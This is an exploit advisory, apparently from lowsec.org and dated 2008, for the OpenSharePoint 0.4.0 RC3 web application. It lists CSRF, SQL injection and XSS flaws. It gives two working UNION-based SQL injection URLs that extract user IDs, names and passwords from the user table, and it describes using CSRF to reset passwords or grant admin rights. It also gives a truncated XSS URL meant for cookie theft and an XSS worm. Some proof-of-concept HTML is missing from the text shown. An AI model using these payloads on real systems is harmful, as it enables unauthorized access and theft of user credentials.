#=======================================================================# .____ _________ ._. | | ______ _ __/ _____/ ____ ____| | | | / _ \ \/ \/ /\_____ \_/ __ \_/ ___\ | | |__( <_> ) / / \ ___/\ \___\| |_______ \____/ \/\_/ /_______ /\___ >\___ >_ \/ \/ \/ \/\/ (http://wwwlowsec.org) #========================================================================# Author: C1c4Tr1Z Date: 28/08/08 Application: OpenSharePoint 0.4.0 RC3 (16/02/2006) Product WebSite: http://sourceforge.net/projects/opensharepoint/ #========================================================================# #============================[CSRF]======================================# This web application don't seems to have a token or protection for the profile forms. With this simple HTML code we can use those forms to change the users passwords, and if you modify it a little bit you can change all his info. If you add an IMG tag somewhere, to exploit this issue: POC:
Or you can simply make yourself an ADMIN. Remember that the GROUPID number 1 is the admin group. POC: #========================================================================# #=============================[SQLi]=====================================# If you have access to the website, you can extract other users passwords, usernames, IDs, etc.* POC: /module.php?modname=Document&mf=docfile&doclibId=1 AND 1=0 UNION SELECT 1,2,CONCAT_WS(0x3A,userId,userName,userPassword),4,5,6,7,8 FROM focus_sp_user-- /setting.php?modname=User&mf=usredit&usrid=1 AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x3A,userId,userName,userPassword),7,8,9,10,11 FROM focus_sp_user--&ac=2 (*) The table prefix can be changed during the installation. I used the default prefix: focus_sp. #========================================================================# #=============================[XSS]======================================# You are hable to steal the users cookies or make any type of accion/changes with JavaScript. You may want to try if some XSS worm with XHR works :)). POC: /module.php?modname=Document&doclibId=1&mf=docfind&ac=dofind&keyword=">